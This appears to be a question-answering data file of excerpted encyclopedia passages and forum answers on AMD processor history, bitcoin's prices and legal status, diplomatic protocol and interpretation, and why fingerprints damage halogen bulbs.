came K10. In September 2007, AMD released the first server Opteron K10 processors, followed in November by the Phenom processor for desktop. K10 processors came in dual-core, triple-core, and quad-core versions, with all cores", "2006, AMD officially announced that the line was to be transferred to Raza Microelectronics, Inc., a designer of MIPS processors for embedded applications.\nIn August 2003, AMD also purchased the Geode business which was originally the Cyrix MediaGX from National Semiconductor to augment its existing line of embedded x86 processor products. During the second quarter of 2004, it launched new low-power Geode NX processors based on the K7 Thoroughbred architecture with speeds of fanless processors 667 MHz and 1 GHz, and 1.4 GHz processor with fan, of TDP 25 W. This technology is used in a variety of embedded systems (Casino slot", "AMD's right to use derivatives of Intel's microcode for its cloned processors. In the face of uncertainty during the legal dispute, AMD was forced to develop clean-room designed versions of Intel code for its x386 and x486 processors, the former long after Intel had released its own x386 in 1985. In March 1991, AMD released the Am386, its clone of the Intel 386 processor. By October of the same year it had sold one million units.\nIn 1993, AMD introduced the first of the Am486 family of processors, which proved popular with a large number of original equipment manufacturers, including Compaq,", "Although the K6 was based on Socket 7, variants such as K6-3/450 were faster than Intel's Pentium II (sixth-generation processor).\nThe K7 was AMD's seventh-generation x86 processor, making its debut on June 23, 1999, under the brand name Athlon. Unlike previous AMD processors, it could not be used on the same motherboards as Intel's, due to licensing issues surrounding Intel's Slot 1 connector, and instead used a Slot A connector, referenced to the Alpha processor bus. The Duron was a lower-cost and limited version of the Athlon (64KB instead of 256KB L2 cache) in a 462-pin socketed PGA (socket A)", "family was termed \"AMD Next Generation Processor Technology\".\nThe microarchitecture has also been referred to as Stars, as the codenames for desktop line of processors was named under stars or constellations (the initial Phenom models being codenamed Agena and Toliman).\nIn a video interview, Giuseppe Amato confirmed that the codename is K10.\nIt was revealed, by The Inquirer itself, that the codename \"K8L\" referred to a low-power version of the K8 family, later named Turion 64, and that K10 was the official codename for the microarchitecture.\nAMD refers to it as Family 10h Processors, as it is the successor of the Family 0Fh Processors", "AMD Quad FX platform The AMD Quad FX platform is an AMD platform targeted at enthusiasts which allows users to plug two Socket F Athlon 64 FX or 2-way Opteron processors (CPUs) into a single motherboard for a total of four physical cores. This is a type of dual processor setup, where two CPUs are installed on a motherboard to increase computing power. The major difference between the platform and past dual processor systems like Xeon (pre Intel 5000X/P chipset) is that each processor has its own dedicated memory stores. The Quad FX platform also has HyperTransport capability targeted toward", "Intel 80386EX The Intel 80386EX (386EX) is a variant of the Intel 386 microprocessor designed for embedded systems. Introduced in August 1994 and was successful in the market being used aboard several orbiting satellites and microsatellites.\nIntel did not manufacture another integrated x86 processor until 2007, when it confirmed the Enhanced Pentium M-based Tolapai (EP80579)." ]

[ "It's divisible to eight digits of precision or more if needed.\n\nSo if 1 BTC = $600.\n\n0.01 BTC is worth about $6.00\n\n0.001 BTC is worth about $0.60\n\n0.0001 BTC is worth about $0.06\n\netc...", "Does anyone else think the worth of a bitcoin is overly inflated?", "You can spend 0.005 bitcoin in a transaction.\n\nBitcoin is electronic/digital currency, so there's no physical representation of it. As a result, there's no limit to how small of a fraction of a bitcoin you can use.", "Incidentally, some actual coins used to be divisible into eight 1/8th slices. Each 1/8th coin slice was called a \"bit.\"", "if group mining and self mining are still slightly out of reach of the average joe, How does one acquire bitcoins?" ]

[ "accepting bitcoin, such as Dish Network, use the services of bitcoin payment service providers such as BitPay or Coinbase. When a customer pays in bitcoin, the payment service provider accepts the bitcoin on behalf of the merchant, directly converts it, and sends the obtained amount to merchant's bank account, charging a fee of less than 1 percent for the service. Use in retail transactions Due to the design of bitcoin, all retail figures are only estimates. According to Tim Swanson, head of business development at a Hong Kong-based cryptocurrency technology company, in 2014, daily retail purchases made with bitcoin were", "in June 2018. On August 1, 2017 a fork of the blockchain created Bitcoin Cash.\nThroughout the rest of the first half of 2018, bitcoin's price fluctuated between $11,480 and $5,848. On 1 July 2018, bitcoin's price was $6,343. The price on January 1, 2019 was $3,747, down 72% for 2018 and down 81% since the all-time high.\nBitcoin prices were negatively affected by several hacks or thefts from cryptocurrency exchanges, including thefts from Coincheck in January 2018, Coinrail and Bithumb in June, and Bancor in July. For the first six months of 2018, $761 million worth of cryptocurrencies was reported stolen", "a scheme to raise hundreds of millions of dollars through unregistered sales of its XRP tokens. [creating] billions of coins 'out of thin air' and then profited by selling them to the public in 'what is essentially a never-ending initial coin offering'.\"", "in the Code of Federal Regulations, such as real paper money and real coins are simply that they act as legal tender and circulate \"customarily\".\nThe IRS decided in March 2014, to treat bitcoin and other virtual currencies as property for tax purposes, not as currency. Some have suggested that this makes bitcoins not fungible—that is one bitcoin is not identical to another bitcoin, unlike one gallon of crude oil being identical to another gallon of crude oil—making bitcoin unworkable as a currency. Others have stated that a measure like accounting on average cost basis would restore fungibility to the currency.", "those of bitcoin.\nBy November 2017 the value of Bitcoin Cash, which had been as high as $900, had fallen to around $300, much of that due to people who had originally held Bitcoin selling off the Bitcoin Cash they received at the hard fork. On 20 December 2017 it reached an intraday high of $4,355.62 and then fell 88% to $519.12 on 23 August 2018.\nAs of August 2018, Bitcoin Cash payments are supported by payment service providers such as BitPay, Coinify and GoCoin. Difficulty adjustment algorithm Both Bitcoin as well as Bitcoin Cash use a proof-of-work algorithm to timestamp", "lack of any intrinsic value of bitcoin. These claims include that of former Federal Reserve Chairman Alan Greenspan in 2013. He stated \"You really have to stretch your imagination to infer what the intrinsic value of Bitcoin is. I haven't been able to do it.\"\nIn 2017 Greenspan compared bitcoin to the Continental dollar, which ultimately collapsed. He said \"Humans buy all sorts of things that aren't worth anything. People gamble in casinos when the odds are against them. It has never stopped anybody.\"\nFormer Fed Chair Ben Bernanke (in 2015) and outgoing Fed Chair Janet Yellen (in 2017) have both expressed", "worth about $2.3 million. MIT Technology review estimates that, as of February 2015, fewer than 5,000 bitcoins per day (worth roughly $1.2 million at the time) were being used for retail transactions, and concludes that in 2014 \"it appears there has been very little if any increase in retail purchases using bitcoin.\" Financial institutions Bitcoin companies have had difficulty opening traditional bank accounts because lenders have been leery of bitcoin's links to illicit activity. According to Antonio Gallippi, a co-founder of BitPay, \"banks are scared to deal with bitcoin companies, even if they really want to\". In 2014, the National Australia", "Bloomberg. High price volatility and transaction fees make paying for small retail purchases with bitcoin impractical, according to economist Kim Grauer. However, bitcoin continues to be used for large-item purchases on sites such as Overstock.com, and for cross-border payments to freelancers and other vendors. Financial institutions Bitcoins can be bought on digital currency exchanges.\nPer researchers, \"there is little sign of bitcoin use\" in international remittances despite high fees charged by banks and Western Union who compete in this market. The South China Morning Post, however, mentions the use of bitcoin by Hong Kong workers to transfer money home.\nIn 2014, the", "software-development teams modified the original Bitcoin computer code and released coins with “Bitcoin\" in their names, with \"the goal of creating money out of thin air.\" In relation to Bitcoin it is characterized variously as a spin-off, a strand, a product of a hard fork, an offshoot, a clone, a second version or an altcoin. On 1 August 2017 Bitcoin Cash began trading at about $240, while bitcoin traded at about $2,700.\nIn 2018 Bitcoin Core developer Cory Fields found a bug in the Bitcoin ABC software that would have allowed an attacker to create a block causing a chain split.", "intangible asset.\nJournalists and academics also debate what to call bitcoin. Some media outlets do make a distinction between \"real\" money and bitcoins, while others call bitcoin real money. The Wall Street Journal declared it a commodity in December 2013. A Forbes journalist referred to it as digital collectible. Two University of Amsterdam computer scientists proposed the term \"money-like informational commodity\". In a 2016 Forbes article, bitcoin was characterized as a member of a new asset class.\nThe People's Bank of China has stated that bitcoin \"is fundamentally not a currency but an investment target\".\nIn addition to the above, bitcoin is also", "single day.\" Under IRS regulations Bitcoin and other VCs are treated as property, so losses and gains must be calculated to determine the value of the virtual currency. If an online gambling business earned the value of at least $2,000 dollars in Bitcoin \"in any single day\", they may fall under this act.\nThe Federal Wire Act (Wire Act) prohibits \"bets or wagers on any sporting event or contest\". Some Bitcoin gambling sites have a mixture of betting on sports and traditional casino games, and it is conceivable the bets on sporting events could fall within the language of", "way to go to meet all these criteria. It does best as a medium of exchange: As of March 2014, the bitcoin market suffered from volatility, limiting the ability of bitcoin to act as a stable store of value, and retailers accepting bitcoin use other currencies as their principal unit of account.\nClassification of bitcoin by the United States government is to date unclear with multiple conflicting rulings. In 2013 Judge Amos L. Mazzant III of the United States District Court for the Eastern District of Texas stated that \"Bitcoin is a currency or form of money\". In July 2016, Judge Teresa", "of existence, beginning in February 2011, Silk Road exclusively accepted bitcoins as payment, transacting 9.9 million in bitcoins, worth about $214 million.\nIn 2011, the price started at $0.30 per bitcoin, growing to $5.27 for the year. The price rose to $31.50 on 8 June. Within a month the price fell to $11.00. The next month it fell to $7.80, and in another month to $4.77.\nLitecoin, an early bitcoin spin-off or altcoin, appeared in October 2011. Many altcoins have been created since then.\nIn 2012, bitcoin prices started at $5.27 growing to $13.30 for the year. By 9 January the price had", "(there were also net winners) was 265,678 bitcoins, or more than $149 million at current exchange rates\" from September 2014.\nShavers attempted to argue the investments were not securities because Bitcoin is not money. However, in a precedent determining decision, the magistrate judge determined that Bitcoin is money, and thus the investments were securities. The magistrate judge stated, \"[i]t is clear that Bitcoin can be used as money. It can be used to purchase goods or services, and as Shavers stated, used to pay for individual living expenses. The only limitation of Bitcoin is that it is limited to those", "accept bitcoin payments may use payment service providers to perform the conversions.\nIn 2017 and 2018 bitcoin's acceptance among major online retailers included only three of the top 500 U.S. online merchants, down from five in 2016. Reasons for this decline include high transaction fees due to bitcoin's scalability issues and long transaction times.\nBloomberg reported that the largest 17 crypto merchant-processing services handled $69 million in June 2018, down from $411 million in September 2017. Bitcoin is \"not actually usable\" for retail transactions because of high costs and the inability to process chargebacks, according to Nicholas Weaver, a researcher quoted by", "predict the possible future value of bitcoin. In April 2013, economist John Quiggin stated, \"bitcoins will attain their true value of zero sooner or later, but it is impossible to say when\". A similar forecast was made in November 2014 by economist Kevin Dowd.\nIn December 2013, finance professor Mark T. Williams forecast that bitcoin would trade for less than $10 by mid-year 2014. In the indicated period bitcoin has exchanged as low as $344 (April 2014) and during July 2014 the bitcoin low was $609. In December 2014, Williams said, \"The probability of success is low, but if it does", "to minimize the cost of transactions and distribution. The site later added the option to pay via Bitcoin only through Coinbase.\nThough achieving word of mouth was a key element of the potential success of the bundle, Rosen also recognized that the process to purchase the Bundles had to be simple; including elements like user account registration or the use of a secondary download client would have potentially driven away sales. Rosen also sought to include charities in the bundle, allowing the purchaser to choose how to distribute the funds between the developers and charities. Rosen believed Child's Play was a", "from Coinbase transactions.\nAccording to Bloomberg, in 2013 there were about 250 bitcoin wallets with more than $1 million worth of bitcoins. The number of bitcoin millionaires is uncertain as people can have more than one wallet. Venture capital Venture capitalists, such as Peter Thiel's Founders Fund, which invested US$3 million in BitPay, do not purchase bitcoins themselves, instead funding bitcoin infrastructure like companies that provide payment systems to merchants, exchanges, wallet services, etc. In 2012, an incubator for bitcoin-focused start-ups was founded by Adam Draper, with financing help from his father, venture capitalist Tim Draper, one of the largest bitcoin", "50% to $378 the same day. On 30 November 2013 the price reached $1,163 before starting a long-term crash, declining by 87% to $152 in January 2015. On 5 December 2013, the People's Bank of China prohibited Chinese financial institutions from using bitcoins. After the announcement, the value of bitcoins dropped, and Baidu no longer accepted bitcoins for certain services. Buying real-world goods with any virtual currency had been illegal in China since at least 2009.\nIn 2014, prices started at $770 and fell to $314 for the year.\nOn July 30, 2014, the Wikimedia Foundation started accepting donations of bitcoin.\nIn 2015.", "items that can be purchased using real currency then traded with other players or exchanged for membership, RuneCoins or additional spins on the game's Squeal of Fortune. Bonds were introduced to allow players to exchange real currency for in-game benefits legitimately, a move described by CEO Mark Gerhard as \"essential for the future of RuneScape\". One week later, Jagex reported that the amount of in-game coins brought in by gold farmers was down by 81%; real-world trading was down by 61% and the wealth of those trades was down by 63%. Reception PC Gamer UK stated in December 2003, that", "had been seized by the US Marshals service and auctioned to the public. The accumulation of bitcoins was estimated to be worth US$19 million at the time.\nOn Sep. 23, 2014, Draper told Fox Business that he predicted that one bitcoin would reach $10,000 \"in three years\"; on January 27, 2015, Draper wagered about $400,000 (which is 2000 bitcoins with $200 price) that the bitcoin will rebound from a recent plunge. The price of a bitcoin crossed the $10,000 mark on November 29, 2017. Cruise Automation and Twitch.tv After funding Twitch.tv, which was sold to Amazon for $1 billion, Kyle Vogt,", "by selling cards at their own websites in addition to their in-game trades. Technically any transfer of cards in the game is not considered a \"sale\" because, for legal reasons, the digital objects are not actually owned by the collector, but rather Wizards of the Coast themselves. This enormously simplifies transactions, as issues such as import/export laws, duties, and underage concerns are sidestepped. Wizards has currently shown \"benign neglect\" of players buying and selling digital objects for (legal) currency on the secondary market. Due to this neglect, however, there can be problems with fraud, including non-delivery of paid-for", "predicted that Chinese shares \"may drop as much as 30%\", and creating a \"knock-on effect on the whole world economy.\" Bitcoin In December 2013, Woo argued that Bitcoin \"can become a major means of payment for e-commerce and may emerge as a serious competitor to traditional money transfer providers\", an opinion that Joe Weisenthal said \"represents a top-fligh kappat mind at a major financial institution assessing it in a serious way, and coming to the conclusion that it could be the real deal.\" However, Woo put the upper bound of Bitcoin’s fair value at $1300, stating that \"Bitcoin is highly", "of ownership; the coins are then unusable, and effectively lost. For example, in 2013 one user claimed to have lost 7,500 bitcoins, worth $7.5 million at the time, when he accidentally discarded a hard drive containing his private key. About 20% of all bitcoins are believed to be lost. They would have a market value of about $20 billion at July 2018 prices.\nTo ensure the security of bitcoins, the private key must be kept secret. If the private key is revealed to a third party, e.g. through a data breach, the third party can use it to steal any associated", "Coincheck History Coincheck started in August 2014 and is operated by Coincheck, inc. (previously ResuPress, inc) (founded in 2012). There were then more than 2,200 merchants using their bitcoin payment solution, just in Japan. Coincheck is a member of JBA (Japan Blockchain Association) and is actively helping to build the Japanese bitcoin community's usage standards with the government.\nCoincheck partnered with SEKAI to support Chinese, Hong Kong, and Taiwan investors to buy Japanese real estate with bitcoin. 2018 hacking incident In January 2018, Coincheck was hacked and approximately 500 million NEM tokens ($530 million) were stolen. The currency was transferred through", "credit card to make a purchase at a retail store for $30, then the available credit will immediately decrease to $70, because the merchant has obtained an authorization from the individual's bank by swiping the card through its credit card terminal.\nIf the billing statement were then sent out immediately, the actual charges would still be $0, because the merchant has not actually collected the funds in question. The actual charge is not put through until the merchant submits their batch of transactions and the banking system transfers the funds.\nA debit card works differently. Like in the previous example, if one", "prices started at $314 and rose to $434 for the year. In 2016 prices rose to $998 on 1 January 2017. 2017–2019 Prices started at $998 in 2017 and rose to $13,412.44 on 1 January 2018, after reaching its all-time high of $19,783.06 on 17 December 2017.\nChina banned trading in bitcoin, with first steps taken in September 2017, and a complete ban that started on 1 February 2018. Bitcoin prices then fell from $9,052 to $6,914 on 5 February 2018. The percentage of bitcoin trading in the Chinese renminbi fell from over 90% in September 2017 to less than 1%", "hit, the reward will be very large.\"\nIn November 2014, David Yermack, Professor of Finance at New York University Stern School of Business, forecast that in November 2015 bitcoin may be all but worthless. In the indicated period bitcoin has exchanged as low as $176.50 (January 2015) and during November 2015 the bitcoin low was $309.90.\nIn May 2013, Bank of America FX and Rate Strategist David Woo forecast a maximum fair value per bitcoin of $1,300. Bitcoin investor Cameron Winklevoss stated in December 2013 that the \"small bull case scenario for bitcoin is... 40,000 USD a coin\". Obituaries The \"death\" of", "from exchanges. Bitcoin's price was affected even though other cryptocurrencies were stolen at Coinrail and Bancor as investors worried about the security of cryptocurrency exchanges. In September 2019 the Intercontinental Exchange (the owner of the NYSE) began trading of bitcoin futures. Units The unit of account of the bitcoin system is a bitcoin. Ticker symbols used to represent bitcoin are BTC and XBT. Its Unicode character is ₿. Small amounts of bitcoin used as alternative units are millibitcoin (mBTC), and satoshi (sat). Named in homage to bitcoin's creator, a satoshi is the smallest amount within bitcoin representing 0.00000001 bitcoins, one", "My Nintendo Features By clearing various \"missions\", players earn three different kinds of currency; Gold Points, Platinum Points, and app-centric Platinum Points, which can be exchanged for rewards, including digital game downloads for the Wii U and Nintendo 3DS, discounts on software purchased from the Nintendo eShop or the official Nintendo online store, and other digital items such as downloadable themes for the Nintendo 3DS. Gold Points are earned by purchasing software digitally via the Nintendo eShop while Platinum Points are earned by performing actions such as linking with social media or signing into the Nintendo eShop or (formerly) Miiverse" ]

[ "I am a former diplomat.\n\nMeetings between high level officials are highly orchestrated. They're not really like meeting your friends for dinner, a date or a business meeting. They are more like a theater play; both sides already have a good idea beforehand of what the other side will say. There is very little surprise involved. Diplomats are the \"producers\" of the play, in the sense of being the people who talk to each other and arrange not only for the meeting to occur, but also the agenda. Usually each side will reiterate to the other policy stances it has had for a long time, which adds to the predictability of the encounter.\n\nBesides, there will usually be translators. When François Hollande, President of France, meets with Angela Merkel, Chancellor of Germany, Mr. Hollande has a native French speaker who is fluent in German, and will translate Ms. Merkel's words for him; and Ms. Merkel conversely has a native German speaker who speaks fluent French and translates for her.\n\nMeetings of the UN Security Council and General Assembly, and other situations where the real work of international politics gets done, are conducted by multilingual diplomats in pre-arranged languages ─ usually English and French." ]

[ "the relations of the United States with foreign nations. The president appoints ambassadors, ministers, and consuls (subject to confirmation by the Senate) and receives foreign ambassadors and other public officials. With the secretary of state, the president manages all official contacts with foreign governments.\nOn occasion, the president may personally participate in summit conferences where heads of state meet for direct consultation. For example, President Wilson led the American delegation to the Paris Peace Conference in 1919 after World War I; President Franklin D. Roosevelt met with Allied leaders during World War II; and every president sits down with world leaders", "particular issues.\nHistorically, presidents or prime ministers have commissioned special diplomatic envoys for specific assignments, primarily overseas but sometimes also within the country as ambassadors-at-large. Title While the title generally reflects the ambassador's second head position as head of a diplomatic mission, in some countries the term may also represent a rank held by career diplomats, as a matter of internal promotion, regardless of the posting, and in many national careers it is quite common for them to be appointed to other functions, especially within the ministry/ministries in charge of foreign affairs, in some countries in systematic alternation with actual postings.\nThe", "instructions from their head of Government. Diplomatic ranks Whether being a career diplomat or a political appointee, every diplomat, while posted abroad, will be classified in one of the ranks of diplomats (secretary, counselor, minister, ambassador, envoy, or chargé d'affaires) as regulated by international law (namely, by the Vienna Convention on Diplomatic Relations of 1961).\nDiplomats can be contrasted with consuls and attachés, who represent their State in a number of administrative ways, but who don't have the diplomat's political functions, or with international officers of the United Nations. Function Diplomats in posts collect and report information that could affect national", "Diplomat A diplomat (from Ancient Greek: δίπλωμα; romanized diploma) is a person appointed by a state or an intergovernamental institution such as the United Nations or the European Union to conduct diplomacy with one or more other States or international organizations.\nThe main functions of diplomats are: representation and protection of the interests and nationals of the sending State; initiation and facilitation of strategic agreements; treaties and conventions; promotion of information; trade and commerce; technology; and friendly relations. Seasoned diplomats of international repute are used in international organizations (for example, the United Nations, the world's largest diplomatic forum) as well as", "written in the official language of the sending state. Presentation of credentials Upon arrival at his or her post, an ambassador meets with the foreign minister to arrange for an audience with the head of state. The ambassador carries both a sealed original and an unsealed copy of his credentials. The unsealed copy is given to the foreign minister upon arrival, and the original is presented personally to the head of state in a formal ceremony. Ambassadors do not begin their duties until their credentials are accepted, and their precedence within the diplomatic corps is determined by the date", "Per Article 88, the president can ask the attorney general to attend the parliamentary proceedings and report to him any unlawful functioning if any. Diplomatic powers All international treaties and agreements are negotiated and concluded on behalf of the president. However, in practice, such negotiations are usually carried out by the prime minister along with his Cabinet (especially the Foreign Minister). Also, such treaties are subject to the approval of the parliament. The president represents India in international forums and affairs where such a function is chiefly ceremonial. The president may also send and receive diplomats, i.e. the officers from", "formal form of address for an ambassador is generally the form that would be used to address a head of state: \"(Your/His/Her) Excellency\" followed by name or the country represented. In many countries, less formal variations are frequently used, such as \"Ambassador\" followed by name, or the name followed by \"Ambassador of...\". In the United States, \"Mister/Madam Ambassador\" may be used. The Republic of Kosovo has bestowed the title of honorary ambassador to nine prominent individuals. This is a rare example of an appointment for life by presidential decree of an ambassador by a sovereign state. Honorary ambassadors are entitled", "Official languages of the United Nations Description These languages are used at meetings of various UN organs, particularly the General Assembly (Article 51 of its Rules of Procedure), the Economic and Social Council, and the Security Council (Article 41 of its Rules of Procedure). Each representative of a country may speak in any one of these six languages, or may speak in any language and provide interpretation into one of the six official languages. The UN provides simultaneous interpretation from the official language into the other five official languages, via the United Nations Interpretation Service.\nThe six official languages are also", "Nations official languages of Arabic, Chinese, English, French, Russian or Spanish, and will be translated by the United Nations translators. Each speaker is requested to provide 20 advance copies of their statements to the conference officers to facilitate translation and to be presented at the podium. Speeches are requested to be limited to five minutes, with seven minutes for supranational bodies. President John William Ashe chose the theme: \"The Post-2015 Development Agenda: Setting the Stage!.\" This means he calls on member states and other stakeholders \"to promote dialogue, reflection and commitment to the formulation of an effective new agenda to", "The Honourable International diplomacy In international diplomatic relations, representatives of foreign states are often addressed as \"The Honourable\". Deputy chiefs of mission, chargés d'affaires, consuls-general and consuls are always given the style. All heads of consular posts, whether they are honorary or career postholders, are accorded the title according to the State Department of the United States. However, ambassadors and high commissioners are never given the style, with the title \"Your Excellency\" being used. Australia In Australia, the style is generally used for an administrator of a territory, government ministers, members of most state legislative councils (upper houses), and judges", "interests, often with advice about how the home-country government should respond. Then, once any policy response has been decided in the home country's capital, posts bear major responsibility for implementing it. Diplomats have the job of conveying, in the most persuasive way possible, the views of the home government to the governments to which they are accredited and, in doing so, of trying to convince those governments to act in ways that suit home-country interests. In this way, diplomats are part of the beginning and the end of each loop in the continuous process through which foreign policy develops.\nIn general,", "of career diplomats—that is, public servants with a steady professional connection to the country's foreign ministry. The term career diplomat is used worldwide in opposition to political appointees (that is, people from any other professional backgrounds who may equally be designated by an official government to act as diplomats abroad). While officially posted to an embassy or delegation in a foreign country or accredited to an international organization, both career diplomats and political appointees enjoy the same diplomatic immunities, as well as United Nations officials. Ceremonial heads of state commonly act as diplomats on behalf of their nation, usually following", "in the United Kingdom\", whereas British Ambassadors to foreign countries are known as \"Her Britannic Majesty's Ambassador\". Ambassador-at-Large An ambassador-at-large is a diplomat of the highest rank or a minister who is accredited to represent their country. But unlike the ambassador-in-residence, who is usually limited to a country or embassy, the ambassador-at-large can be appointed to operate in several usually neighbouring countries, a region or sometimes a seat of international organizations such as the United Nations or European Union. In some cases, an ambassador-at-large may even be specifically assigned a role to advise and assist the state or Government in", "Diplomatic recognition Diplomatic recognition in international law is a unilateral political act with domestic and international legal consequences whereby a state acknowledges an act or status of another state or government in control of a state (may be also a recognized state). Recognition can be reaccorded either de facto or de jure. Recognition can be a declaration to that effect by the recognizing government, or an act of recognition such as entering into a treaty with the other state. A vote by a country in the United Nations in favour of the membership of another country is an", "system and e-governance. Foreign relations and international treaties Foreign relations are managed mainly by the Parliament, the Government of the Republic (including various ministries) and the President of the Republic, who mostly serves a representative role. The government can enter into international agreements and present them to the parliament for ratification. Agreements that are in conflict with the Constitution can not be ratified. One notable example of such a case was when Estonia decided to join the European Union, which required the amendment of the Constitution in order to ratify the Accession Treaty. The mandate for the amendment of the", "foreign policy and expect to be treated just the same by an American president.\" Experts and media Former Governor of Utah as well as U.S. Ambassador to Singapore and China Jon Huntsman says \"The call came in from President Tsai Ing-wen. He made the choice to take it, which I think was absolutely right... I'm sure he's got a broader strategy.\"\nFormer US Ambassador to the United Nations John Bolton also supports Trump's interaction with President of Taiwan with democratic government, free press, and free-market economic system. He said, \"Nobody in Beijing gets to dictate who we talk to. It's ridiculous", "and the Prime Minister. Treaties with foreign countries require ratification by the Diet. As head of state, the Emperor performs the ceremonial function of receiving foreign envoys and attesting to foreign treaties ratified by the Diet.\nAs the chief executive and constitutionally the dominant figure in the political system, the Prime Minister has the final word in major foreign policy decisions. The Minister for Foreign Affairs, a member of the cabinet, acts as the Prime Minister's chief adviser in matters of planning and implementation. The Minister is assisted by two vice ministers: one in charge of administration, who was at the", "on which the credentials were presented. However, ambassadors are entitled to diplomatic immunity as soon as they enter the country.\nThe ambassador travels to the presentation ceremony in an official vehicle provided by the receiving state, accompanied by a military escort. In constitutional monarchies and parliamentary democracies, the head of state or viceroy acts according to advice (binding instructions) from the government. The foreign minister will attend (be present with) the head of state at the actual ceremony, to symbolize the fact that the credentials are being accepted on the basis of government advice. The ambassador uses both hands", "if they so choose. Speakers will be put on the list in the order of their request, with special consideration for ministers and other government officials of similar or higher rank. According to the rules in place for the General Debate, the statements should be in one of the United Nations official languages of Arabic, Chinese, English, French, Russian or Spanish, and will be translated by the United Nations translators. Each speaker is requested to provide 20 advance copies of their statements to the conference officers to facilitate translation and to be presented at the podium. Speeches are requested to", "precedence over chargés d'affaires, who are accredited by the foreign minister. Ambassadors also outranked envoys until the 1960s, when the last legations were upgraded to embassies.\nBecause members of the Commonwealth of Nations have or had a common head of state, they do not exchange ambassadors, but instead have High Commissioners, who represent the government, rather than the head of state. The diplomat representing the Holy See is titled a nuncio. In diplomatic usage, both the high commissioner and nuncio are considered equivalent in rank and role to an ambassador. Resident Coordinators within the United Nations system are accredited to the", "to the same precedence and honors as career ambassadors in the Republic of Kosovo.\nIn some countries, a former ambassador may continue to be styled and addressed as ambassador throughout their life (in the United States, \"Mr. Ambassador\" or \"Madam Ambassador\" may be heard). In other countries, ambassador is a title that accrues to its holder only with respect to a specific position, and may not be used after leaving or beyond the position. Some countries do not use the term while an ambassador is in the home country, as the office holder is not an ambassador there; for example, a", "should be in one of the United Nations official languages of Arabic, Chinese, English, French, Russian or Spanish, and will be translated by the United Nations translators. Each speaker is requested to provide 20 advance copies of their statements to the conference officers to facilitate translation and to be presented at the podium. Speeches are requested to be limited to five minutes, with seven minutes for supranational bodies. President Mogens Lykketoft chose the theme of the debate as \"The United Nations at 70: the road ahead for peace, security and human rights.\" Elections The election of non-permanent members to the", "Foreign minister Difference in titles In some nations, such as India, the Foreign Minister is referred to as the Minister for External Affairs; or, as in the case of Brazil, Minister of Foreign Affairs; or, still others, such as states created from the former Soviet Union, call the position the Minister of External Relations. In the United States, the equivalent to the foreign ministry is called the Department of State, and the equivalent position is known as the Secretary of State. Other common titles may include Minister of Foreign Relations. In many Spanish speaking countries in Latin America, the foreign", "government as the government of China. As a result, when arranged alphabetically with other heads of state in Vatican ceremonies, ROC presidents are arranged under \"Chine\", French for \"China\" (French being the diplomatic language of the Holy See).", "attendees are provided with headphones through which they can hear the interpretations. A delegate is allowed to make a statement in a non-official language, but must provide either an interpreter or a written copy of his/her remarks translated into an official language. English and French are the working languages of the United Nations Secretariat, as most of the daily communication within the Secretariat and most of the signs in the UN headquarters building are in those languages. Extraterritoriality and security The site of the UN headquarters has extraterritoriality status. This affects some law enforcement where UN rules override the laws", "of a diplomat's family can also result in dismissal. Exceptions to the Vienna Convention Some countries have made reservations to the Vienna Convention on Diplomatic Relations, but they are minor. A number of countries limit the diplomatic immunity of persons who are citizens of the receiving country. As nations keep faith to their treaties with differing zeal, other rules may also apply, though in most cases this summary is a reasonably accurate approximation. The Convention does not cover the personnel of international organizations, whose privileges are decided upon on a case-by-case basis, usually in the treaties founding such organizations. The", "choose. Speakers will be put on the list in the order of their request, with special consideration for ministers and other government officials of similar or higher rank. According to the rules in place for the General Debate, the statements should be in one of the United Nations official languages of Arabic, Chinese, English, French, Russian or Spanish, and will be translated by the United Nations translators. Each speaker is requested to provide 20 advance copies of their statements to the conference officers to facilitate translation and to be presented at the podium. Speeches are requested to be limited to", "Republic (headed by the United States Ambassador to Italy) and the Embassy of the United States to the Holy See (the United States Ambassador to the Holy See position was also split out and elevated to ambassador rank at the same time as the UN Agencies one was). The three ambassadors sometimes engage in joint activities.\nThrough 2019, there have been eleven Ambassadors to the United Nations Agencies for Food and Agriculture, who are typically appointed for three-year terms. The position has attracted some well-known Americans: Millicent Fenwick, the first to hold it at the ambassador rank, was", "designated special diplomatic envoys for specific assignments, primarily overseas but sometimes also within the country as an ambassador-at-large. Honorific title According to international protocol, ambassadors and ambassadors-at-large are officially styled and addressed as His/Her Excellency, or Mister/Madam Ambassador. The title may be abbreviated in official correspondence as H.E.", "Ambassadors of the United States Ambassadors of the United States are persons nominated as ambassadors by the President to serve as United States diplomats to individual nations of the world, to international organizations, and as ambassadors-at-large. Their appointment needs to be confirmed by the United States Senate. An ambassador can be appointed during a recess, but he or she can only serve as ambassador until the end of the next session of Congress unless subsequently confirmed. Ambassadors serve \"at the pleasure of the President\", meaning they can be dismissed at any time. Appointments change regularly for various reasons, such as" ]

[ "The oil on your hands creates a hot spot on the bulb. It won't immediately break, but that spot is getting a lot hotter than any other part of the bulb, so its under a lot more stress. The bulb weakens into a more crystaline form, and can potentially form a bubble, leading to an explosion. You should always try to hold them by the porcelain base, and wipe them off if you do touch them.", "Touching a halogen light bulb does not instantly destroy it when it's turned on, but it will shorten it's lifetime.\n\nWhen you touch something, some grease from your finger is left as a residue. When a halogen light bulb is turned on, it generates a *lot* of light in a broad spectrum (from far IR to UV). The bulb itself is made from quartz glass, which absorbs very little of that light which means it heats up relatively little. But when there is a fingerprint on the glass, some of that light will be absorbed by the residual grease, heating it up and creating a hot spot on the glass. When glass isn't heated evenly, tensions within the glass is created. Some types of glasses, like borosilicate glass, are very resistant to uneven heating. Quartz glass however, is not. The tensions created by the hotspots will eventually cause the glass to crack, and once that happens the gas in the bulb leaks out, air enters, and the filament burns out." ]

